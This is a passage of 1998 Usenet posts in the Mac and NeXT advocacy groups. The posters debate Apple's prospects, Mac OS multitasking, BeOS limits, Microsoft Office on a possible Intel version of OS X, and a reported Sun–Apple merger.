junk, I would say, go for it. But the reason everyone is supporting
ancient standards is because it is cheap.
I downloaded the 30-day trial version of Golive's Cyberstudio yesterday,
and I would classify it as "must-have" software. A few more applications
like that, excellence on the hardware side, and a solid OS would make
Apple a compelling solution for anyone who does more than just run
Office and Powerpoint on their computers. Apple has all the pieces of
the jigsaw, it just has to put them together.
-arun gupta
From: atticus@mindspring.com (Andy Walton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sun, 19 Jul 1998 19:19:03 -0400
Organization: Waltonschauung
Message-ID: <atticus-1907981919040001@user-38lcdcg.dialup.mindspring.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net>
Ccb%xGQshhi|g@QU2$
If you want to use it please also use this Authorline.
In article <900819436.724616@kelp.mbay.net>, mcgredo@otter.mbay.net
(Donald R. McGregor) wrote:
:Just because Mac once didn't have a killer app, and then
:did, does not mean that because Be does not have a killer
:app, it will someday.
Nor does the existence of a killer app guarantee the survival of the
platform. Video Toaster was ahead of its time, but the times caught up.
The Mac had the advantage of WYSIWYG (or at least WYSIMOLWYG) built into
the OS -- if Pagemaker for Windows had come out at the same time (which
would have required a workable Windows, of course), the Mac platform would
not have held that unique advantage. It tooke years before anyone else had
the combination of WYSIWYG and PostScript, by which time the Mac had
become the industry standard.
The definition I've always used for a "killer app" is an application that,
all by itself, justifies buying the machine. That was certainly the case
when my high school bought a Mac Plus for its newspaper in 1986 -- the
$2500 spent on the computer saved us $500 an issue in typesetting. Paid
for itself in a year, it did. Before the Mac, there was VisiCalc for the
Apple II line, and Lotus 1-2-3 and dBase for the IBM PC.
The question for BeOS -- and I'm not familiar with the OS, so this is an
honest and not leadign question -- is what unique capabilities it
possesses, and what "killer app" will run on BeOS that cannot be co-opted
to run as well, or almost as well, on an OS that already has an installed
base.
--
"Without question, the greatest invention in the history of mankind is
beer. Oh, I grant you that the wheel was also a fine invention, but the
wheel does not go nearly as well with pizza." -- Dave Barry
Andy Walton * atticus@mindspring.com * http://atticus.home.mindspring.com/
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 20 Jul 1998 19:58:49 +0200
Organization: Completely Disorganized
Message-ID: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
References: <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu>
Mail-Copies-To: never
Pulsar <tokarek@uiuc.edu> wrote:
> Apple has been making the UI prettier without adding a lot of
> functionality or fixing behaviors.
What exactly are you missing? What needs to be fixed? (Don't tell me
about unmounting disks by dragging them to the trash -- just use "Put
Away" instead.)
> A lot of things will be fixed in Mac OS 8.5, but it's taken too long to
> get even this. _And_ Apple doesn't seem to be advancing the UI any further
> in other ways. What about the menu system?
Well, yes, what about the menu system? What's wrong with it? Please show
me some better alternatives.
[OpenDoc]
I completely agree.
Don't get me wrong, I'm not trying to tell you to take the Mac UI as
it's always been and shut up. I'm always open for improvements, but
first I've got to understand what improvements you have in mind.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: pxpst2@spam.suxs.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 14:09:41 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2007981409410001@pelli.pathology.pitt.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <not-2007981004090001@ip-26-136.phx.primenet.com>,
eilersm@psn.net wrote:
> Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
> old--they don't even get tech support. Try to call Apple right now and ask
> them for help with your IIsi.
That is way older than 4 years.....A 4 year old Mac would be a first
generation PMac(ie x100)
peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 20 Jul 1998 18:22:56 GMT
Organization: Michigan State University
Distribution: World
Message-ID: <6p01u0$8c8$1@msunews.cl.msu.edu>
References: <MPG.101bb05d20abad6a9899bf@news.supernews.com> <8F342DB.09B600120F.uuout@relaynet.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: sheppard.gordon@relaynet.org
In <8F342DB.09B600120F.uuout@relaynet.org> SHEPPARD GORDON wrote:
>
> On 07/19/98, DONALD BROWN wrote:
>
> > I'm sure you're talking about OS-X Intel (hypothetically speaking).
> > There is no reason to believe that Office XX will not be out on OS
X,
> > since Bill made the commitment to OS 8.1 with Office 98, and OS X
does
> > 8.1, as well as will most likely do it's own native Office XX.
>
> DB> People will have to do, at least, new binaries for OS-X Intel.
If OS-X
> DB> starts to become a direct competitor, there will not be an
MS-Office for
> DB> OS-X for Wintel.
>
> Microsoft is too canny to do anything more than Carbonize its Mac
apps, IMO.
> Microsoft simply will not support an Apple OS on Intel, for
practical,
> competitive reasons.
A given. Though I suspect there is much more underlying the MS
announcement
of the Apple stock purchase last year. And I think that still affects
Apple to
this day.
> First, Microsoft does not welcome OS competition on the Intel side;
it is
> currently planning to compete ruthlessly with forthcoming 64-bit
Merced-only
> OSes from Sun, HP and others.
Personally I think MS better start thinking about Linux as it's primary
competitor on x86. MS can get worried when there are 5-20Million
people running MacOS X Server on PC's. At this point I can't see
it.
> Second, Microsoft is loathe to write anything on YB, since a port to
> YB/OSX-Intel would give Apple's Intel OS much-needed credibility. And
Apple
> knows this.
Gee. Another given. This is a credibility thing. If you don't use
your own products why should anyone else?
> It seems clear to me that Apple's acknowledgement of this reality is
one
> reason that it dropped plans to continue development on an
Apple-branded Intel
> OS that, contrary to NeXT's marketing orientation, would be for the
mass
> market. Without Microsoft's popular apps, a mass-market consumer OS
simply
> cannot thrive.
I frankly find this whole give me MS-Office native issue to really be
moot.
Since when is a word processor cpu intensive? Search/replace -
spelling
checker? What?
> Given DOJ pressures and watchfulness, Microsoft would be hard-pressed
to
> refuse to do a relatively simple port to OSX/Intel from a YB version.
If
> Microsoft _did_ port MS_Office to YB, Apple would be foolish _not_ to
scare up
> OSX/Intel. This is understood at Microsoft too.
>
I think there are other reasons that Office for Apple's reluctance to
do
OSX/PC compatible. Everyone I've heard so far seems quite empty
except the YB windows one (i.e. you get everything YB on windows
so quit your bitching and run windows)..
More and more there are people who are endeavoring to move away
from windows - but who still want some basic file compatibility with MS
OS's. YB on windows in principle can solve these issues by allowing
the windows boxes to run YB versions from the YB on mach boxes.
It's as close to native as you get.
Apple can keep saying the following:
Writing Drivers too expensive.
Support & Testing too expensive.
We loose PPC hardware sales.
Not enough will want it.
etc.
I would counter that if any of the above are true then it reveals flaws
in Apple products & marketing strategies that alone should cause
people to stand up and say "what is going on here. If Apple doesn't
believe enough in there own products. Why should we?"
Fortunately the Apple User doesn't care - they have their brand name
and will follow it off the preverbial cliff..
Interestingly Apple stock has been rewarded by the recent profits.
I suspect this is more a statement about the desperation of everyone
wanting to buy into a overpriced market - and seeking value - even
if it's high risk value..
I can't see how Apple is going to bring any new seats into their
market, and if they think that a person will purchase a new mac
on each OS revision - they will loose further market share by
attrition. Many purchasing machines now expect they will
last as long as the mac they are replacing now did. And for
many of them that was at least 3 years or more..
All this spells to me is shrinking markets - dwindling gross
income. Apple must absolutely meet demand on it's
products also. If someone calls requesting a product
you darn well better take the order and have it on their
door in 2 weeks.. If Apple was smart they are using
these 3 months between the announcement of the iMac
and shipping date to stockpile a large number of them
to meet demand.
Oh and I've heard that Apple thinks that people will have more
than one computer just like TV's. If different brands of computers
were like different brands of TV's then yes. I personally am
very much looking to move all of my services to one machine.
The second would simply be a compatible machine that most
of the time would be left off.. I only have 6-8 different computers
because as an integrator I need to know why a SGI won't talk
to a NeXT, or a PC, etc. Most people that have multiple computers
have similiar (if not identical) hardware, and run the same make
of OS. There are very few that have PC's that will purchase
a Mac. At least with PC's parts are interchangable. Not so
with iMac's.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: Victor Eijkhout <eijkhout@prancer.cs.utk.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 20 Jul 1998 14:29:59 -0400
Organization: University of Tennessee
Message-ID: <om90loqst4.fsf@prancer.cs.utk.edu>
References: <6or4sj$83a$1@supernews.com> <forrestDELETE-THIS!-1807981526100001@term3-17.vta.west.net> <6ot1mh$m32$2@supernews.com>
a l t e n ber@nashville.com (L e e Al te nb erg) writes:
> > Oy vey, I'm getting sick of this. The Mac OS can multitask, it's just
> > cooperative multitasking instead of preemptive. It's up to the apps to get
> > along and say "ok, you can do something now".
>
> So, it's not the MacOS that fails to multitask, it's the APPS that fail to
> multitask, right?
Unfortunately yes. I'm surprised that the Netscape FTP is so bad.
These days (don't ask me why) I often fire up simultaneously
1/ Fetch for data upload
2/ Netscape for news download
3/ MSIE for download of packages
4/ Claris emailer for mail up/download
5/ NCSA telnet for an interactive session.
And it all works fine. Ok, NCSA telnet gets bogged down. Somehow it fails
to grab the cycles it can.
--
Victor Eijkhout
"Let me just be very clear that the Republican Party will select a nominee
that will beat Bill Clinton." [Dan Quayle on CNN about the 2000 election]
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sun, 19 Jul 1998 21:21:07 -0500
Organization: Prairie Group
Message-ID: <MPG.101c658b2abe5bab9899c2@news.supernews.com>
References: <6or4sj$83a$1@supernews.com> <forrestDELETE-THIS!-1807981526100001@term3-17.vta.west.net> <01bdb337$9ac002d0$04387880@test1>
In article <01bdb337$9ac002d0$04387880@test1>, todd@NetSQ.com says...
> Forrest Cameranesi <forrestDELETE-THIS!@west.net> wrote
> > Oy vey, I'm getting sick of this. The Mac OS can multitask,
> > it's just cooperative multitasking instead of preemptive.
>
> Wow. I hope you have your asbestos suit on. Virtually no one
> (outside some die hard Mac folks) consider cooperative multitasking
> real multitasking. It is sort of like process management by the
> applications instead of the OS. Anyone releasing an OS today with
> this type of architecture wouldn't have a chance.
>
> However... having said all that, from what I have gathered from the
> Carbon discussions, the internal MacOS architecture (from way back to
> 1984) and the need to be backwards compatible for the older
> applications, made it virtually impossible to add PMT to the MacOS.
>
> It is easy for us to criticize the MacOS architecture today, but to a
> great extent the problems come from design and engineering decisions
> made over 15 years ago. Remember, the original Mac only had 128K and
> its main competition was Apple II's ProDos and MS DOS.
Exactly. And Apple's done their best to avoid a Win32 style update.
It's now time to do one.
And as for most debates, it comes down to definitions. If your
definition of "real multitasking" is "I can do multiple things at the
same time in multiple programs", the Mac has "real multitasking". If you
define "real multitasking" as "The OS scheduling apps so that no app can
use the entire compute", the Mac doesn't have it.
No doubt about it, PMT is a good thing. It'll be great when we have it
on the Mac. It adds stability to the system and protects against poorly
written programs. This will be good. I look forward to it.
But, what the Mac has now works. Users can usually do multiple things at
the same time. You can be doing a download or a spreadsheet calculation
or a web search in the background or printing in the background while you
are composing your email or writing your report. It is not perfect, but
it works. So, when we get statements that "that crappy OS only lets you
do one thing at a time", those statements are lies. The Mac most
certainly lets you do several things at a time. The MacOS has
multitasking. Inferior multitasking, but multitasking.
Donald
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: Re: View from the trenches
Date: 20 Jul 1998 18:47:42 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6p03ce$ll7@btmpjg.god.bel.alcatel.be>
References: <6ot1mh$m32$2@supernews.com>
L e e Al te nb erg writes
> So, it's not the MacOS that fails to multitask, it's the APPS that fail to
> multitask, right?
> That reminds me of the slogan "Guns don't kill people, people kill people."
> Guns aren't a problem as long as people can get along. Multitasking on MacOS
> is NOT a problem as long as the apps are perfect. I'll buy that.
>
It's OK to say that if you are american. It seems to me that most
people in the U.S.A. do think this way. But if you look at countries
like germany, where normal people don't have the right to own a gun,
much less people are killed each year (don't remember exactly, for germany
something like 3 times less per 1 Mio citizens - who knows the
exact numbers?).
There is another slogan - "each gun shoots by accident once in its lifetime".
The same is true for programs - Joe computer user has no chance to find
out solutions for all these small problem, very often you have no time
to fix it, and usually it breaks when you mostly need it.
All the "cooperative multitasking" does not work if an application
just hangs due to a bug - which happens not only once in a lifetime.
So I would back your initial complains about the state of the art
of operating systems widely in use (except Unix - but it has it
quirks in UI apps too) - they just suck.
Yours,
--
Ralf.Suckow ------------------------
@bln.sel.alcatel.de | All opinions are mine.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 20 Jul 1998 12:08:47 -0700
Organization: Graves Associates
Distribution: world
Message-ID: <gmgraves-2007981208480001@sf-usr1-1-129.dialup.slip.net>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6orju9$960$1@camel29.mindspring.com> <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net> <joe.ragosta-1907982129290001@elk84.dol.net>
In article <joe.ragosta-1907982129290001@elk84.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <6orju9$960$1@camel29.mindspring.com>, Matthew Cromer
> > <matthew_cromer@iname.com> wrote:
> >
> > > In article <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
> > > George Graves, gmgraves@slip.net writes:
> > > >
> > > >Like it or not, Apple is looking for one. In spite of what all CEOs have
> > > >said ("read my lips, Apple is NOT for sale") Apple has been for sale
> > > >since about 1989. In 1996 Sun came so close to buying that you had to
> > > >had to blink to miss it. Amelio shit-canned the idea at the eleventh
> > > >hour as his first act of assuming the presidency vacated by Spindler.
> > >
> > > Sun offered less than the current stock price, as the deal was about to
> > > close.
> > >
> > > One does not sell a company for less than the market capitalization. The
> > > offer was worthless.
> >
> > True, but Apple was ready to accept it anyway. Amelio did not put the
> > kaibash on it for that reason though. He squashed it because he had just
> > taken the reins of Apple and he knew that if the deal went through, he
> > would be out.
>
> And your evidence that Apple was ready to accept a deal for _less_ than
> the then-current stock price is.....?
>
> Oh, you don't have any.
>
> Never mind.
Not so fast, there, cowboy!
Quote from Page 367 of Jim Carlton's book :"Apple- The Inside Story of
Intrigue,
Egomania and Busines Blunders"
An unnamed Apple executive told Carlton in an interview for his book: "We knew
we wouldn't make a lot of money on this, but we felt that a merger with Sun
would create critical mass. The cultures were aligned with each other, and
Scott (McNealy) would have made a dynamic leader. Nobody knew what would
happen to Gil (Amelio)."
For a thorough documentation of the Apple-Sun merger killed by Amelio, read
the chapter "Mission Impossible" from PP 364 through 393.
George Graves
From: "Tuure Leutola" <leutola@koivu.oulu.fi>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 20 Jul 98 03:50:42 +0200
Organization: University of Oulu
Message-ID: <B1D86F15-27440@193.166.185.44>
References: <Jonas.Palm-1907980132030001@jp.orgk1.dial.lu.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.oulu.fi/comp.sys.mac.system,
nntp://news.oulu.fi/comp.sys.next.advocacy
> And how could I ever recommend friends and customers to buy Apple
> with that kind of OS support?
>
> Jonas Palm
I don't. Not anymore.... That is so simply.
Tuure
---------------------------------------------------------
Cyberdog ---A Product of Apple Computer, Inc.
---------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 20 Jul 1998 01:11:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ou5gk$kfk$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <35b26dbb.0@news.depaul.edu>
In article <35b26dbb.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> Caveat Emptor.
>
> You'd have a better case if you'd *paid* for a 'next generation'
> operating system which you'd never received. You did not.
I'm not saying that I want to sue them, all I'm saying is that they lied to
us. Lying to your customers isn't a good way of developing a solid brand name
and customer loyalty.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Sun, 19 Jul 1998 21:29:28 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Distribution: world
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1907982129290001@elk84.dol.net>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6orju9$960$1@camel29.mindspring.com> <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net>
In article <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <6orju9$960$1@camel29.mindspring.com>, Matthew Cromer
> <matthew_cromer@iname.com> wrote:
>
> > In article <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
> > George Graves, gmgraves@slip.net writes:
> > >
> > >Like it or not, Apple is looking for one. In spite of what all CEOs have
> > >said ("read my lips, Apple is NOT for sale") Apple has been for sale
> > >since about 1989. In 1996 Sun came so close to buying that you had to
> > >had to blink to miss it. Amelio shit-canned the idea at the eleventh
> > >hour as his first act of assuming the presidency vacated by Spindler.
> >
> > Sun offered less than the current stock price, as the deal was about to
> > close.
> >
> > One does not sell a company for less than the market capitalization. The
> > offer was worthless.
>
> True, but Apple was ready to accept it anyway. Amelio did not put the
> kaibash on it for that reason though. He squashed it because he had just
> taken the reins of Apple and he knew that if the deal went through, he
> would be out.
And your evidence that Apple was ready to accept a deal for _less_ than
the then-current stock price is.....?
Oh, you don't have any.
Never mind.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 20 Jul 1998 00:31:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ou35v$h4l$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net>
In article <Josh.McKee-1907981309250001@pm3a13.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> If your criteria for an OS is ease of use, and high productivity,
> then I guess the Mac is for you.
Under what conditions and compared to what other operating sytems? What test
methodology?
> The Macs multitasking is not perfect, but it works...and works amazingly
> well. Who cares how old it is if it works for the majority of tasks? I
> definitly wouldn't want it for a server OS...but then, I don't think the
> Mac is marketed as a server platform.
I'm doing a download right now and I want to play Hornet until it's done. But
I can't because the download will time out. I want to do some simple word
processing while Bryce renders that really complicated scene. But my computer
gets so slow that I can't even do that. Want some more examples?
And let's talk about efficiency. Say I run Stuffit Expander (or Compact Pro)
to decompress a file while I have a Photoshop filter going in the background.
I bet that the CPU utilization is less than 50% because the MacOS doesn't
automatically switch tasks when the running process blocks due to IO.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: View from the trenches
Date: 20 Jul 1998 19:13:14 GMT
Organization: Michigan State University
Distribution: world
Message-ID: <6p04sa$m82$1@msunews.cl.msu.edu>
References: <6ot1mh$m32$2@supernews.com> <6p03ce$ll7@btmpjg.god.bel.alcatel.be>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de
In <6p03ce$ll7@btmpjg.god.bel.alcatel.be> Ralf Suckow wrote:
> L e e Al te nb erg writes
> > So, it's not the MacOS that fails to multitask, it's the APPS that
fail to
> > multitask, right?
> > That reminds me of the slogan "Guns don't kill people, people kill
people."
> > Guns aren't a problem as long as people can get along.
Multitasking on MacOS
> > is NOT a problem as long as the apps are perfect. I'll buy that.
> >
> It's OK to say that if you are american. It seems to me that most
> people in the U.S.A. do think this way. But if you look at countries
> like germany, where normal people don't have the right to own a gun,
> much less people are killed each year (don't remember exactly, for
germany
> something like 3 times less per 1 Mio citizens - who knows the
> exact numbers?).
Umm. Why don't you include Switzerland in this. Where every standing
citizen owns a gun or has access to similiar or better weapons.
Switzerland
has one of the lowest death rates due to guns in the world? Why?
Because every citizen in their teenage years is 'forced' to become
part of the standing militia - they receive training - etc. before they
get the gun.
I just had to add my .02c and maybe someone from Switzerland can
set me straight on the details - all I know is what I heard and read -
and that was some time ago.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 20 Jul 1998 19:16:37 GMT
Message-ID: <6p052l$j3c$1@nntp2.ba.best.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com>
In-Reply-To: <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com>
On 07/20/98, Corey wrote:
>
>Sure you have a valid point - although it's just as ridiculous for you
>to harp on that one - i.e. is that the only evidence you've found of
>limiting factors on the BeOS ?? ... sheesh, you know it must be a
>pretty damned sound platform for people have to go to such lengths as
>complain about not being able to open 200+ windows at the same time
>with a single app.
But it's not a single app, and it's not just onscreen windows. It's
the total number of onscreen and offscreen windows in the entire
*system*.
In any case, I could go on at length about other stuff I think is
stupid in BeOS. The windows thing is just one of the more user-visible
things. ;)
>Now, tell me honestly - how many limitations does *your* platform of
>choice provide? ... It would have to be 0 for you to not appear as
>total hypocrite.
Honestly? Well, 1024+ windows didn't seem to be a problem, and I had
plenty of memory and CPU power to go..... my OS doesn't require 2x
physical memory's worth of swap space right off the bat, I can have as
many threads or semaphores or ports as I have memory for as far as I
know, etc.
>And if you really want to get down to it, it's probably pretty
>reasonable to limit the amount of open windows down to a *mere* 200 -
>I mean, any program that produces more than just a couple handfulls
>should be shot and killed on the spot.
The thing is, it's a limit by their OS design. There's not some line
of code that checks to see how many there are (although given that the
system will hang if it's exceeded, maybe there should be.). It's a
limit because one of the core BeOS servers runs out or virtual address
space for creating new threads - long before any part of the system
actually runs out of memory or swap space. What's the point of having
extra memory if the OS bumps into other limitations first? Hell, let's
just drop back to 640k limits again. ;) BeOS seems to hardcode the
maximum number of threads/semaphores/ports/teams/etc. all based on how
much memory you have. Why? Probably because fixed tables are easier
to deal with. Unfortunately, fixed tables for anything *suck* as far
as I'm concerned. As dead as it now is, AmigaOS solved that problem
back in 1985, where there were (as far as I can remember) no hardcoded
limits on anything. And I don't buy the 'performance' argument for a
second, either, given how fast that OS was with a LOT less than a
PowerPC processor, let alone two of them.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 22:37:06 -0500
Organization: Prairie Group
Message-ID: <MPG.101c775ddd9921f19899c4@news.supernews.com>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> <MPG.101aea726a01d7449899b9@news.supernews.com> <35B1986B.DD212245@cloud9.net> <MPG.101bb05d20abad6a9899bf@news.supernews.com> <gmgraves-1907981339570001@sf-pm5-7-71.dialup.slip.net>
In article <gmgraves-1907981339570001@sf-pm5-7-71.dialup.slip.net>,
gmgraves@slip.net says...
> > People will have to do, at least, new binaries for OS-X Intel. If OS-X
> > starts to become a direct competitor, there will not be an MS-Office for
> > OS-X for Wintel. And, George was saying that OS-X Intel must be able to
> > run Windows programs. Even if it can, Microsoft will make sure that MS
> > Office for Windows will not.
>
> If it runs them as if they were native, I don't see how MS could do that. and
> I really don't see why they would. Gates has always said he makes more money
> off of Office than he does off of his OS sales. Why would he cripple his biggest
> moneymaker just to keep it from running on someone else's OS. Makes little
> sense to me.
>
I'm working from two assumptions: Not all of the Windows API is
published, and Office uses some of those calls. And if MacOS could
figure out what calls were used, Office would switch to other ones.
An Office that wouldn't run on OS-X Intel would only be crippled OS-X
Intel became popular.
And if you don't think MS would do it, check out "Barbarians Led By Bill
Gates" and the chapter on PenWindows. The defensive team at Microsoft
won't let OS-X get a toehold.
Donald
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 98 12:11:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8F342DB.09B600120F.uuout@relaynet.org>
References: <MPG.101bb05d20abad6a9899bf@news.supernews.com>
On 07/19/98, DONALD BROWN wrote:
> I'm sure you're talking about OS-X Intel (hypothetically speaking).
> There is no reason to believe that Office XX will not be out on OS X,
> since Bill made the commitment to OS 8.1 with Office 98, and OS X does
> 8.1, as well as will most likely do it's own native Office XX.
DB> People will have to do, at least, new binaries for OS-X Intel. If OS-X
